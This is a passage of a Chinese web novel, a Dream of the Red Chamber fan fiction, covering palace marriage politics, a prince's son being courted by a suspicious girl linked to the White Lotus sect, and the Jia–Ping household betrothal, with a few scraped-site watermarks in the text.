这边说话间,水溶也进来了,瞧见父王枯瘦的模样,也是哀痛不已。他又不知道自己父王在外有人,甚至知道了,也未必能跟陈国大长公主共情,因为外室的孩子,是不会跟他争抢王府的资源的,水芮给私生子女安排的那点好处,对于水溶来说,根本算不上什么。说不定还要觉得自家父王委屈,因为母妃的缘故,只能将心爱的人放在外头。 陈国大长公主之所以不跟儿子说这事,也是因为这个缘故,万一水溶反过来为丈夫抱不平,她岂不是里外不是人!所以,她宁可自欺欺人,相信水溶到时候肯定站在她这边,也不肯将这事说出去,如此方能母慈子孝。 水溶就像是一下子长大了一样,接受了自己必须在父王重病期间成婚,以免父王死后,被上头辖制,不能袭爵。他不觉得是父母杞人忧天,反而是觉得圣上一定有过表态,不免心中暗生几分怨恨。 水溶年纪虽然小,但那真的是个金龟婿。水芮活不了多久,将来就是水溶两口子当家,便是头顶有陈国大长公主这么个婆婆,但正是因为陈国大长公主出身尊贵,反而做不了什么恶婆婆,毕竟,人家要脸。 因此,确定了冲喜的事情不是以讹传讹的小道消息之后,许多自觉有资格的人家都开始活动起来。 荣国府那边,贾史氏那叫一个扼腕,早知道会有这样的事情,还不如将元春留在家里,说不定这次也有机会。对于贾史氏这般说法,张氏嘴 上“是是是” ,心里头却是冷笑。陈国大长公主那是什么人,别说是贾政的女儿,便是贾赦这会儿有个年龄相当的嫡女,人家也是未必看得上的!毕竟,现在的荣国府,早就不是从前了,家里的女儿做个普通宗室郡王的王妃还行,但是给北静郡王府这样一个实权异姓王府做王妃,就有些不够格,换成贾敏还在闺中的时候还差不多。 而甄家那边,竟然也蠢蠢欲动起来。毕竟,他们家的女儿,连贵妃皇后都做得,怎么就做不得一个郡王妃了? 可惜的是,北静郡王府不这样想,别说他们不想胡乱掺和,便是想,甄家也绝不在他们的名单上。这一家子是属狗皮膏药的,沾上了想要揭下来可就难了。 第 166 章 跟顾晓陷入同样烦... 第166章跟顾晓陷入同样烦 跟顾晓陷入同样烦恼的还有皇后。徒嘉珩似乎是恋爱了! 徒嘉珩奉旨尽孝,大多数时间都耗在大明宫。太上皇年纪越大,越喜欢这种憨厚朴实的孩子,又另存了心思,因此,不仅带着教他一些门道,还想着给徒嘉珩安排一门婚事。 对于太上皇愿意调教儿子,圣上对此乐见其成,徒嘉珩终究是嫡长子,要是够出息的话,他还是倾向于立徒嘉珩的,如此才不会出现夺嫡之争,要不然的话,选别的儿子,其他人只怕没一个肯服气的,到时候反倒是麻烦。 只是太上皇却没跟圣上说他的其他打算,圣上只看到自家儿子在大明宫待了那么久,似乎跟以前并没有什么变化,不免愈发觉得徒嘉珩就是个榆木疙瘩,根本就带不动,心里愈发失望起来。 圣上素来不管什么小节,皇后却发现,大明宫中太上皇以贵太妃的名义召见了几个少女进宫。若是那几个少女是贵太妃给徒宏憬安排的那也罢了,偏生是太上皇给徒嘉珩安排的。 还是那句话,太上皇年纪大了,便开始怀念起从前来。他当初并没有给母族什么优待,如今忽然觉得有些愧疚起来。他也没有再给生母娘家封爵的意思,却想着将母族的女孩子嫁到皇家来,然后,他选中了一个姑娘,先封了乡君,然后直接养在了宫里。 这位也明白自己进宫的意思,她生得也颇有姿色,最重要的是,很符合徒嘉珩的审美,一来二去,两人就亲近起来了。 一开始皇后不知道,等发现的时候,那真是晴天霹雳。 孝安文太后原本是宫人出身,由此就能知道她娘家是个什么情况了,虽说不至于一家子白丁,但即便是太上皇继位之后,给封了个虚爵,依旧是个抬举不起来的,当初在京中可是闹了不少笑话,等到孝安文太后死后,一大家子灰溜溜回了老家。 这样人家的女儿,来给徒嘉珩做妻子,那算什么呢? 名义上自然是相配的,毕竟,人家是先孝安文太后娘家的小辈,也是皇亲国戚,但实际上呢,那一家连个承恩公的爵位都没捞到,手里也无任何实权,可以说,甚至都不如那些候补的官员,毕竟候补的官员还有转正的机会,他们这辈子也就是这样了。 只是太上皇亲自出马保媒拉纤,哪怕没有明说,但哪怕是用脚后跟去想,就知道,谁要是敢反对这门亲事,那就是跟太上皇作对。 甚至,便是圣上对此也乐见其成,他不会觉得是牺牲了徒嘉珩的婚事,而是会觉得,用徒嘉珩的婚事换取太上皇在某些方面的让步,那是合情合理的事情。 如今这个情况,就是许多人乐见其成,一些人冷眼旁观,还有人幸灾乐祸,到了皇后这里,就是晴天霹雳。 想到当初是顾晓建议叫徒嘉珩去大明宫为他们夫妇尽孝,皇后这会儿难免生出了一点迁怒之意,但是再仔细一想,即便没这回事,太上皇若是硬要赐婚,她也毫无办法。 她现在也没人能帮着出主意,琢磨半天,最后还是找了顾晓过来。 顾晓也没想到事情居然会发展到这个地步,对于有意夺嫡的皇子来说,婚姻是个极大的筹码,结果如今,这个筹码废掉了。 太上皇既然选了母族的小辈给孙子做皇子妃,那么谁要是敢搞个出身尊贵的侧妃出来,就是明摆着打太上皇的脸,打孝安文太后的脸。 顾晓想到这里,不免愈发无奈起来,只得说道“圣上如今春 秋鼎盛( 皇后叹了口气,说道“是啊,孙子里头他如今看起来的确是疼爱珩儿,可是……”

顾晓犹豫了一番,还是低声说道“娘娘,有的时候,妻族煊赫,也并不是什么好事!”

皇后也只能这样安慰自己了,她琢磨着,自家儿子已经是嫡长子了,再有个出身贵重的儿媳妇,那岂不是对外说是铁板钉钉了,偏生圣上又没有立太子的意思,那自家儿子直接就被推到风口浪尖上了,以他的性子,只怕真应付不来。

顾晓心里头也在打自己的嘴巴,上辈子就看了几本宫斗剧,居然也敢在这种事情上逞能了。人家古人自个这么混大的,许多事情不比你明白?以后可不能再胡乱出主意了!

顾晓如今干脆就咬定了一个“孝”字,反正徒嘉珩孝顺是不会错的,便是圣上觉得他庸碌,但总比不孝子强吧!

皇后也觉得自己是病急乱投医,顾晓这个弟妹就是个后宅妇人,或者做生意的本事有,但是若真的擅长争权夺利,当初也不至于叫侧妃压在头上。好在能有个人倾听她的烦恼,她这会儿也舒服了一些。

回到王府,顾晓心累不已,直接往贵妃榻上一躺,连话都不想说。

结果查那两家的人也把消息带回来了,果不其然,黑料还挺多。

顾晓连吃瓜的心情都没有,便叫她们去跟佳婉佳姝说。

这年头的戏文话本都是男人写的,自然都是大团圆的结局,硬是要将一帮没见过世面的大家小姐洗脑成恋爱脑。也亏得这年头男女七岁不同席,等闲几乎不会见到异姓男子,要不然的话,就现在这种单纯小姑娘,后世那些海王一晚上能骗好几次。纯属是傻子太多,骗子不够用了的节奏。

顾晓琢磨着,得找人写几个专治恋爱脑的本子,回头叫两个小丫头看看,免得她们以后被男人骗得晕头转向。

而此刻佳婉和佳姝已经被吓着了。好闺蜜口中和和睦睦的家庭一点都不和睦,各房相争,妯娌几个为了各种事情动不动就能吵起来。

这也是难免的事情,贫困夫妻尚且百事哀,这年头还都是大家庭,老人不去世,就不能分家,甚至为了体面,老人去世了,也有不分家的。偏生家里头资源有限,又不能劲往一处使,然后大家为了点针头线脑的事情都能闹将出来。

第 167 章 听闻府上好事将近... 第167章听闻府上好事将近 听着徒嘉珩的诉说,顾晓愈发肯定, 他这是遇上骗子了。 因为他这边几乎没有泄露什么消息,那边怎么就认定了他是表弟的呢?起码也就是徒嘉泽刚出生那会儿洗三满月周岁的时候,李家人上过门,但那时候徒嘉泽身体不好,瘦猴子一般,如今又已经是个少年人了,别说是李家人,就算是李氏,几年不见自己的儿子,面对面也未必认得出来。 听着顾晓的疑惑,徒嘉泽露出了有些蠢萌的神情“不应该啊,他们知道我的名字,还说了舅舅家的事情呢!” 李氏这会儿差点没尖叫起来,自己怎么就生出了这样蠢的儿子!这些事情很难打听吗?去李家所在的地方稍微打听一下,也就知道了。至于说看人认出徒嘉泽来,只怕他们早就盯上他了! “不管他们是谁,你每次过去,到底是干了什么?”顾晓也没想到徒嘉泽居然这么好骗,不免心里叹了口气,这活脱脱就是地主家的傻儿子啊!对方那边说不定准备了不知道多少说辞,结果到了徒嘉泽这边,就基础款就把徒嘉泽给骗了。 徒嘉泽脸一红,期期艾艾地说道“我之前不是去看杂耍嘛,那个杂耍班子,李家在里头也掺了股,我想着过些日子母妃要生日了,到时候请他们进府给母妃表演一下!” 李氏实在是忍不住了,气道“我寻常倒是没瞧见你有这样的孝心!” 徒嘉泽没听出李氏的讥讽来,居然不好意思地抓了抓头,顾晓深吸了一口气,幸亏不是自己亲生的,要不然非气死不可。 她仔细打量了徒嘉泽一番,然后决定诈他一下,说道“若只是杂耍,便是当年的梨园,你看了这么多天,也该看得差不多了!能叫李家入股的杂耍班子,又能有多少稀罕的花样,引得你一有空就出门!莫不是在那边遇到了什么红颜知己吧!” 徒嘉泽这回脸是真红了,声音低了下来,结结巴巴说道“那个,就是普通朋友!” 李氏唬了一跳,尖叫道“普通朋友?你还知道自己是个什么身体吗?这外头是个什么样的妖精,你们是不是有肌肤之亲了?”徒嘉泽虽说如今看着身体好了,但是之前他刚出精,李氏原本打算给他安排个通房丫头教导人事,后来多了个心眼,问了一下来请平安脉的太医,太医直接就说了,徒嘉泽本身先天不足,这些年虽说一直在固本培元,但就像是个小水桶,再怎么补,也不能补成大水缸,所以,徒嘉泽若是想要行人事,最好还得再大几岁才行。 为了这事,李氏直接跟顾晓说了一声,将徒嘉泽身边的丫头又换了一茬,将生得有几份姿色,又有些妖娆的几个都放出去了,留下的都是看着寻常,性子也老实的。私底下又耳提面命了一番,不许那些丫头勾引主子,若是将徒嘉泽身体搞坏了,直接将他们一家子都发卖到黑煤窑去! 哪知道千防万防,架不住徒嘉泽出去打野食啊! 李氏吓得厉害,恨不得立刻就请太医过来,看徒嘉泽是不是被外头的小妖精把身体搞虚了! 徒嘉泽被亲妈吓了一跳,一时间也有些茫然,结结巴巴说道“那个肌肤之亲,好像有了!” 李氏几乎要晕过去,顾晓耐下心来,问道“什么程度的肌肤之亲,是牵过手了,还是你们一起躺床上了?”徒嘉泽被李氏严防死守,对男女之事并没有什么概念,说不定还以为亲个嘴就能怀孕呢! 徒嘉泽脸上简直跟着了火一样,好半 天才蚊子哼一样,说道“那个,没有躺一起,玉瑶很好的,我只是一时忘情,抓过她一次手!别的什么也没有!▲(
顾晓心里翻了个白眼,李氏在一边松了口气,不过还是骂道“下|贱东西,这是怕在外头说不清楚呢,竟是拿捏上了!”说着,看徒嘉泽的眼神又有些恨铁不成钢起来,你堂堂王府公子,被个乡野丫头就这么拿捏住了?就摸了一下手,看起来竟是神魂颠倒的! 李氏这会儿开始怀疑起自己之前的做法来,不会是因为徒嘉泽身边的丫头长得太一般,以至于外头略有点清秀的,在他眼里都是天上仙子了? 徒嘉泽是个老实孩子,顾晓稍微诱导一下,就将自己与玉瑶的相处给说了出来,在他口中,玉瑶生得美貌动人且不用多说,最难得的是善解人意,又温柔体贴,还是个博闻强识的,每每说话都能说到徒嘉泽的心底,这让徒嘉泽愈发欲罢不能。 顾晓心里摇头,不管什么时候,要是你跟别人说话,别人什么都说到你的心底,叫你引为知己,那就说明,他的信息量对你来说近乎是降维式打击,如此才会出现这种情况。虽说徒嘉泽这些年来学习并不上心,但是季先生何等人也,虽说对徒嘉泽和末儿并未倾囊相授,但也让他们在各方面都有所涉猎,府里头又常有一些来自南洋西洋的玩意,可以说,徒嘉泽这十几年见识过的东西,是许多人做梦都想象不到的。 而在这样的情况下,一个少女,居然能叫他觉得博闻强识,那自然不可能是寻常人家出身,只怕是外头专门培养起来的。 只是,这样一个少女,用来勾搭徒嘉泽,是不是有点浪费啊! 顾晓没说出这句打击徒嘉泽的话,便问道“这位玉瑶姑娘名字也好,气度也好,又偏生什么都知道,你可知道她是什么出身,怎么会跟杂耍班子在一起?” 徒嘉泽赶紧解释道“玉瑶原本也是好人家出身,但是之前江南那边闹白莲教,他们家被白莲教的人攻破,她跟着奶娘逃了出来,后来无家可归,跟着杂耍班子是来京城投亲的,只是到了神京,发现她家那个亲戚外放了,没有奈何之下,才先在杂耍班子里留了下来,帮着那些人做一些针线什么的度日。” 这话也就是骗骗徒嘉泽这种不知道人间疾苦的大家公子,一个妙龄少女,待在一个鱼龙混杂的杂耍班子里头,跟这些人还无亲无故,一开始或许还能拿着自家有什么大官亲戚的话来恫吓,但是之后呢,只怕人家直接将她往楼子里面一卖,都没地方喊冤去!何况,她跟这些外姓男子厮混了这么久,便是清白的,在外头人眼里,也不清白了,还投亲,亲爹妈或许会考虑到女儿的名节,但是寻常亲戚,对于这等可能会有损自家门风的事情,只会避之唯恐不及,哪里会认她!她要是蠢到连这个都看不出来,就不可能太太平平走到神京。 所以,这位的身份肯定是有问题的,首先,她跟杂耍班子这些人肯定不是一路的,这些市井之人,根本培养不出这样的人来。偏生按照徒嘉泽的意思,杂耍班子的人对她竟是还挺客气,顾晓很怀疑,这位说不定还是杂耍班子的上级。再提到白莲教,顾晓愈发满肚子疑问起来。 顾晓还在思索,李氏已经破口大骂起来“什么好人家的姑娘,哪个好人家的姑娘会跟外男混在一起啊!那就是个小娼妇,你要是再敢出去见她,我就打断你的腿!” 徒嘉泽争辩道“母妃,玉瑶不是那样的人,她很尊重的……” 好了,家里头一个恋爱脑出现了,不是佳婉佳姝,而是徒 嘉泽! 顾晓拦下已经变成了一头暴怒喷火龙的李氏,耐心地跟徒嘉泽说道“那位玉瑶姑娘的事情暂且不说,若是真如她所说,咱们家便出力,送她去亲戚家里与亲人团聚。她若真是官宦人家的千金,说不得你们日后也能再续前缘!” 见李氏又要爆炸,顾晓继续说道“只是,现在的问题是,你舅舅家又是怎么回事,到底有没有那么个表兄,跟这个杂耍班子到底有没有关系,那都是个问题!你若是早点回来说了遇到了你表哥,那咱们家叫人去李家那边带个信,如今不就什么都清楚了!偏生你一直瞒着,咱们便是今天派人出去,也得两三天才有消息。” 徒嘉泽这会儿也有些蔫了,他本来也不是什么强硬的性子,尤其这年头的教育,真的很难出什么逆子,因为这年头教育的根基就在忠孝二字。他刚才反驳了李氏一番,这会儿都有些心慌,现在听顾晓说得有理有据,心里愈发没底了。 顾晓笑道“回头你给那边传个信,就说这两天有事要出门,先不过去了,等着回头查清楚了,咱们客客气气将人请回来,一家子骨肉,什么话不好说呢!” 李氏这会儿心情也平复了下来,跟着说道“娘娘说得没错,既然是一家人,遮遮掩掩做什么。早点说清楚不就好了,我也好些年不曾见娘家人了,如今也想看看娘家是个什么情况。” 徒嘉泽老老实实答应了下来,被说了这么久,他也开始生出了一些疑虑之心,只是想着那位玉瑶姑娘的巧笑嫣然,他又忍不住安慰自己,不会有问题的,玉瑶那么温柔善良,怎么会跟那些居心叵测的人混在一起呢? 这年头没有天网,对方便是一直盯着徒嘉泽,也不可能盯着王府的所有人,除非王府里头就有眼线。因此,顾晓只先打发人去打听李家的情况,这其实是在安抚徒嘉泽,毕竟真要是李家的人,真没必要这么折腾,他们便是找上门,难不成顾晓还能将他们打出去不成? 专业的事情要交给专业的人做。那位玉瑶姑娘既然提了什么白莲教,那顾晓干脆直接以疑心他们与白莲教有关为由,将消息递到了宫里。 负责传话的是春香,顾晓每次进宫,带着的都是她,她在宫里也算是熟人了,这话由她递过去比较合适。 春香老老实实跟皇后将事情从头到尾都说了一遍,又道“原本我们娘娘想要将这事报到顺天府去,只是,那人既然能盯着我们王府,说不定在顺天府也有眼线,一个不好就打草惊蛇。我们娘娘也不知道这事还能找谁,所以只能叫奴婢进宫,来求皇后娘娘帮忙!” 皇后一开始还以为春香是来报喜的,毕竟开头就说徒嘉钰跑过来替发小问妹妹的婚事,但后来听到白莲教的时候,态度就严肃起来了,这种事情,从来都是宁可信其有,不可信其无。何况,哪个好人家的姑娘将白莲教放在嘴边上啊!再不济,也该说个教匪什么的。可见这位身份肯定是有问题的。 皇后听春香把话说完,见春香神情紧张,眼巴巴地站在那里,不免安抚道“回去跟你们娘娘说,别害怕,万事都有皇爷做主呢!这等藏头露尾之人,但凡是漏了马脚,那也就长不了了!” 春香赶紧说道“皇后娘娘说的是,奴婢回去就跟我们娘娘说!” “倒是泽儿,这次只怕也是被吓着了,可怜见的,怎么就叫他遇上了这样的事情!”皇后也是记得徒嘉泽的,不免叹道,“那些人既然打着李家的旗号,说不得李家那边也有什么意外,希望没什么事吧!” 春香只得又 替徒嘉泽谢了皇后一回,见皇后没别的话要说,老老实实退下了。 春香前脚刚走,皇后后脚就请了圣上过来,跟他将这事一说。 圣上一听,就是眼睛一亮,上次剿灭白莲教虎头蛇尾,根本没把后头的人揪出来,结果这些小老鼠不知道见好就收,居然还敢冒头,这次再抓住他们的尾巴,便是太上皇也没话可说。 圣上同意信不过顺天府,他敢保证,自己前脚叫了顺天府府尹,后脚大明宫那边就知道消息了。 圣上琢磨一番,忽然想到了贾赦,这位五城兵马司提督,也需要一个功劳,才好正儿八经地站到朝堂上来。他琢磨一番,忽然想到春香过来的时候,还带来了一个消息,说是平王府打算跟荣国府结亲,当下便以此为由,召见贾赦。 大明宫那边果然一直盯着圣上的行动,一听说圣上召见贾赦,便要打听具体的情况。 既然是放出来的烟幕弹,自然顺利被大明宫接收。 “贾赦的长子想要求娶平王府的姑娘?”太上皇听了也没觉得意外,毕竟他以前就知道,贾瑚给徒嘉钰做了好几年伴读,只怕那会儿就见过平王府的女孩子了,如今都到了婚龄,两家有了默契,那也是难免的事情。 贾赦如今这个官职,是太上皇封的,太上皇自觉自己对贾赦有知遇之恩,却没想到,当初为贾赦赐字恩侯,最后却只给他封了个一等将军的也是他,你扇了人家一个响脆的,直接把人脸都打肿了,以至于在家都抬不起头来,几年都不敢出门,如今再给个甜枣,人家就一定要对你感恩戴德? 太上皇或许在其他人身上玩这个把戏不会有问题,但是贾赦什么人,说难听点,他小时候的一应待遇,真的不比皇子差,那真的就是天之骄子,近乎养成了他无法无天的性子。若是他真的几乎失去一切,被贾史氏打压成功了,或许还差不多,偏生他之后回过味来,反过来占据了主动权,那太上皇当年的所谓恩典,对他来说,也就比鸡肋强一点。 不过太上皇也不傻,深知县官不如现管的道理,决定抢先一步,再施恩一回。 “平王府似乎就两个女儿?”太上皇问道。 戴权赶紧说道“正是如此,只是都是侍妾所出,倒是平王太妃素来宽和,对两位姑娘视若己出,一应待遇与其他王府的郡主并无区别。” 太上皇想了想,说道“好歹是亲王长女,虽说是庶女,但也该给个体面,回头便封为永康郡主,记在平王太妃名下吧!至于次女,也干脆一并封了,为怡宁县主,以后婚事上头更好看一些!” 说到这里,太上皇想到京畿织造的事情,说道“这几年那些孩子也都大了,叫他们大婚前就袭爵吧,名头上也好听。另外就是,平王太妃也是有功,也该加恩子嗣,她长子马上就是亲王了,次子回头便也封个亲王吧!” 听得太上皇这般说,戴权都有些傻眼,当年平王在的时候,都没得到太上皇多少另眼相看,如今人死了,妻儿日子反倒是蒸蒸日上起来。一个王府两个亲王,这简直是皇帝的儿子才有的待遇。 “那若是其他王府问起来?”戴权不免又确认了一下。 太上皇没好气地说道“那毛纺的事情,多少人沾了光,北边因此也安定下来,这般功劳,给个亲王的爵位怎么了!人家问起来,你就说,不用他们安邦定国,只要一年能给朝廷增加百万两银子的进账,那他们也能捞一个亲王!” 戴权一听,当下低眉顺眼说道“奴婢明白了,这便去兴庆宫传 话!v(笔趣阁♂小说 兴庆宫那边,贾赦已经满头雾水过来了,不是让他隐藏在暗中替当今做事的吗?怎么直接将他叫过来了? 圣上笑眯眯说道“恩侯,听闻府上好事将近,朕先恭喜恩侯了!” 贾赦一时有些茫然,什么好事,自己怎么不知道,然后就看到圣上一副“你怎么还瞒着我”的模样,说道“你们家不是打算跟平王府结亲吗?平王府原本跟朕也是邻居,七弟妹贤淑温良,又持家有道,他们府里的孩子,能学到七弟妹一点皮毛,便足以做个贤妻良母了,朕这句恭喜,难道还错了不成?” 贾赦是真不知道啊,毕竟,徒嘉钰也才跟顾晓说了这事,还没回复贾瑚呢,贾赦能知道才见鬼。他疑心是自家夫人跟王府有了默契,只是还没定下来,因此不曾跟他说,不过这会儿见圣上笃定这事,心里也是高兴。毕竟,他之前还发愁给贾瑚娶个什么样的妻子,如今能娶到一个王府的县主,那真是再好不过。 别的不说,寻常人家的女儿,放到荣国府之后,贾史氏难免要以自己侯门之女的身份摆个高姿态,但如今来了个宗室县主,贾史氏可就没法倚老卖老了!准确来说,宗室县主虽说没有开府的权力,可人家勉强就代表了君,你想要在人家面前摆什么太婆婆的架势,也不怕摔个大跟头。 贾赦当下摆出一副谦逊的模样“犬子得王府厚爱,臣感激不尽!”这话一说,就是将事情砸瓷实了,毕竟,圣上先开了口,王府那边无论如何也是拒绝不了的。他心里得意,好儿子,为父给你将婚事定下来了,以后可得多多孝敬为父才是! 圣上笑道“你啊,如今竟是会装傻了,朕已经想好了……” 这边还没开口,那边戴权来了,先给圣上行了礼,然后摆出一副谦卑的模样,说道“传上皇口谕!” 圣上无奈,只得站了起来,贾赦更是跪了下去,就听戴权说道“朕闻贾卿与平王府有意结为秦晋之好,贾卿世代忠良,宜加褒奖,今封一等将军贾赦嫡长子贾瑚为三等轻车都尉。” 贾赦只得叩首道“臣谢上皇隆恩!” 等着贾赦起身,戴权又笑道“贾将军不必现在就忙着谢恩,皇爷的恩典还有呢!皇爷特封了平王府长女为永康郡主,以后啊,贵府公子就是郡马仪宾了!” 贾赦偷偷看了神色不变的圣上一眼,跟着赔笑道“上皇厚恩,臣真不知道何以为报!” 戴权笑眯眯说道“上皇都说了,贾将军世代忠良,以后又是皇亲,那就是一家人了!” 贾赦又是一番赌咒发誓,各种什么鞠躬尽瘁,肝脑涂地的话说了一箩筐,又说道“那臣这就去上皇那边谢恩!” 戴权忙说道“既然圣上召见,贾将军还是等圣上这边事情办完了,再去大明宫见驾吧!” 贾赦这会儿只觉得浑身不自在,只得赔笑送走了戴权,然后看着圣上,一时说不出话来。 作者有话要说 微云烟波向你推荐他的其他作品 第 168 章 议亲 第168章议亲 圣上原本就有心理准备,这会儿也还算心平气和,他直接将自己早就准备好的谕旨塞给了贾赦,然后便装作一副意兴阑珊的模样,将贾赦打发走了。 贾赦跟着就去了大明宫,陪着上皇回忆了一下当年的贾代善甚至是义忠亲王,又谢了一回恩,这才头重脚轻地出了宫。 之前圣上给的谕旨直接就是卷起来的,被贾赦藏在袖子里,他坐在马车上,打开一看,眼睛便是一亮,好家伙,这是可能抓到大鱼了啊!圣上其他人信不过,便将这事给他了,他要是做不好,以后也没脸再见圣上了。 圣上怕顺天府有眼线,但五城兵马司里头,其实人员更加混杂。好在贾赦如今将府里不少以前的亲兵还有他们的子侄给塞进了五城兵马司中,算是自己的铁杆心腹,这些人世世代代都是跟着贾家混的,不怕他们跟外人有什么勾结。 贾赦琢磨了一下,决定回去先跟张氏商议一下,以议亲的名义,先去平王府问问情况。 张氏来得很快,快到册封佳婉佳姝的旨意还没送过来,她就来了。 张氏当然着急,之前贾史氏就委婉地询问了一下贾瑚的婚事,她看起来很想要在史家找一个孙媳妇。 张氏早就受够了贾史氏自以为是的愚蠢,说是侯门嫡女,实际上呢,就是个看不清情势的蠢货。如今要是再来一个这样的儿媳妇,张氏能将自己直接吊死。 而王府郡主就不一样了,贾史氏再如何,也拿捏不住。张氏也信得过顾晓的教养能力,总之,不会是什么无知无畏的主!这样的儿媳妇,打着灯笼都找不到,何苦舍近求远呢? 张氏以议亲之名上门的时候,顾晓一开始还以为徒嘉钰跟贾瑚关系好到连夜给人送信去了,结果就发现,这事宫里头也掺了一脚。 她心里暗骂一声,我这边还没拿捏出女方的矜持来呢,你们那边居然玩弯道超车! 张氏也有些尴尬,她是真心实意来求亲的,结果里头居然还掺杂了国事,这就显得她这次来,半点不够诚心。 顾晓见张氏模样,轻轻呼出一口气,笑道“姐姐,自从我俩都出嫁之后,却是很多年不曾这般面对面过了!” 张氏见顾晓态度平和,也是暗中放下心来,唏嘘道“可不正是如此,一晃都快二十年了!咱们那时候都还是小姑娘,整日里都是花儿粉儿的!” 两人叙了一会儿旧,张氏这才将贾赦说的事情跟顾晓说了,顾晓叹道“也是泽儿年少天真,不知道外头这些龌龊勾当,被那些不知道来历的人给骗了!” 说着,将之前的事情跟张氏说了,又说可以将徒嘉泽身边两个小厮也借给贾赦,张氏听了,默默记在心里。 等着正事说完,张氏才有些羞赧地说道“昨日我家老爷进宫,不知道怎么的,宫里就说到了瑚儿和府里姑娘的婚事,这……” 顾晓谦虚道“瑚儿是好孩子,也是我看着长大的,只是,家里佳婉从小也是娇惯,就怕她有些当不起长媳的责任!” 张氏顿时觉得自己知道了顾晓的言外之意,你们家情况太复杂,自家孩子从小娇生惯养的,只怕玩不转。 她连忙说道“娘娘教养出来的孩子,哪有不好的!别的也就罢了,真要是我们家瑚儿有这个运气,我只将她当做亲闺女一般看待!何况,如今荣国府那边,实际上也没什么事,我们大房独门独院的,几天才要去一次荣庆堂,也没什么事情可烦心的!” 这边说着话,宫里传旨的来了,顾晓只得先将几个孩子叫了出来接旨,果然是册封佳婉佳姝分别为郡主县主的旨意,戴权亲自过来,又隐晦地说了太上皇打算给末儿也册封亲王的事。 ▓微云烟波提醒您《红楼太妃要躺平》第一时间在[笔♂趣阁,记住[(. 顾晓摆出一副感激涕零的模样来,又给戴权塞了一个荷包。戴权稍微一掂量,又捏了一下,觉得里头应该是锞子,还有些失望,毕竟他是知道的,平王府在宗室里头算是挺有钱的,怎地这会儿竟是有些小气。 结果等到戴权回头拆了荷包,就发现,里面是几粒足有龙眼核大小的珍珠,柔和的珠光在戴权看起来几乎有些耀眼。这玩意可比同样大小的金珠还值钱,毕竟,金珠容易得,这么大的珍珠放在后世也是极难得的好东西。 戴权笑眯眯将荷包收进了衣袖里面,作为一个内侍,除了钱权,还有别的更能打动他的吗?只要有钱,便是将来太上皇驾崩,他去给太上皇守陵,也不怕日子难过。像是这等好东西,回头能够发挥出来的作用,更不是一般的钱财能够比拟的。 顾晓素来知道阎王好见小鬼难缠的道理,贾宝玉都懂人事了,戴权还能给贾蓉弄个龙禁尉候补的官职呢,可见太上皇是何等超长待机,在这样的情况下,得罪戴权显然不是什么好主意,所以,多给点好处将人打发了,免得回头这位在几个孩子袭爵的事情上横插一脚。 接了旨,佳婉和佳姝还有些茫然,一帮下人已经凑过去恭喜她们,顾晓笑道“你们先回去吧,回头府里头摆了席,专门为你们庆贺一番!” 佳婉和佳姝这会儿也回过神来,连忙又拜谢了顾晓一番,这才手挽手回去了。 张氏瞧见两个姑娘的行止气度,心中愈发满意,这会儿也跟着恭维顾晓,顾晓摆了摆手,说道“那也是天恩浩荡,我等虔心领受便是了!” 张氏这么多年来,得顾晓的恩惠更多,因此,在这个曾经的表妹面前也摆不出什么表姐的款来,何况如今是他家求娶,因此姿态愈发放低了。 顾晓这会儿已经接受了现实,不管怎么说,太上皇和圣上都已经决定了的事情,别说贾瑚还是少年英杰,便是个混账点心,佳婉该嫁过去也得嫁过去。人在屋檐下,不得不低头啊! 因此,顾晓这会儿对上张氏这个表姐,便表现得愈发亲近起来“姐姐与我本就是骨肉之亲,如今算是亲上加亲了!佳婉性子也有些天真,到时候嫁过去,也得劳烦姐姐多多费心才是!” 张氏赶紧说道“郡主蕙质兰心,能得郡主下降,那是我们一家的幸事,哪里说得上什么费心!” 顾晓犹豫了一下,还是说道“瑚哥儿如今正是读书上进的时候,佳婉年纪也不算大,我私心里头想要多留她几年,不知姐姐以为如何?” 张氏赶紧说道“那也是娘娘体谅瑚哥儿,这孩子,也是心高气傲,听得今年有个恩科,硬是要去参考,他才读了几年书,考上秀才都是运道了,更何况是举人,听闻前些日子回来,也闷不吭声了,多半是见识了天高地厚,接下来几年,的确应该潜心进学。” 反正儿媳妇已经定下来了,便是晚两年嫁进来又如何!正好趁着这两年功夫,叫贾史氏知道一下什么才叫做现实,免得她还盲目自信。 因着还有正事,张氏只得先起身告辞,顾晓将人送出了二门,回来就看到徒嘉钰喜形于色的模样,不免有些看不顺眼,直接说道“怎么的,终于将你妹妹嫁出去了,觉得高兴了?” 徒嘉钰见顾晓语气不好,忙赔笑道“妈,我也是为了妹妹 好,瑚哥儿毕竟是知根知底的,但凡他对妹妹有半点不好,咱们随时都能打上门去!若是换做那些不熟悉的人,盲婚哑嫁的,妹妹女孩子家,又要脸面,回头吃了亏,咱们一时半会儿也不知道,哪里比得上贾家那边?( 徒嘉钰这会儿简直如同白白花花一样,围着顾晓,各种好话不要钱一样说了出来,只瞧着顾晓脸上原本表情绷不住,露出了个笑脸来才算是松了口气,嬉皮笑脸道“妈,知道你舍不得妹妹,但是外头人都说了,女大不中留,留来留去留成仇!到时候大妹妹嫁过去,你要是想她了,就接她回来小住几日,不也一样的!” “胡说,哪有这么容易的事情,你看我一年到头能去你外祖家几日?便是你外祖母,一年到头又能来几次?”顾晓说到这里,叹了口气,说道,“你运道好,生下来就是个男人,不知道女人家的苦处!你这个年纪,也该议亲了,回头娶了新妇,也得急着妈这句话,对她好一些!” 徒嘉钰虽说有些茫然,不知道怎么就说到这个事上来了,不过还是老老实实点了点头,却并没有真的放在心上。 顾晓看徒嘉钰这副呆头鹅的模样,不免失笑,比他略大一点的贾瑚都要娶妻了,他居然半点感觉都没有。虽说这是顾晓愿意看到的,但真遇上了,她还是有点心塞。 徒嘉钰主要是消遣的方式太多了,女色对他来说,如今是真没太多吸引力。 徒嘉钰小时候就喜欢玩各种积木手办,如今也没有因为长大而放弃,反倒是玩得愈发高端了起来,他甚至开始尝试着用积木制造出一个完整的世界。除此之外,自从知道如今家里的财富多半来自于海外之后,他对于海外就生出了许多好奇心,甚至还开始研究起各种海船来。 另一个原因就是,对徒嘉钰来说,女色实在是太容易获得了,李氏对徒嘉泽身边的丫头严防死守,顾晓却不曾这般,徒嘉钰自从略大一点之后,身边的下人都是他自个选的,或者说,顾晓这边先筛选出一批人来,然后让徒嘉钰自个从里头挑。 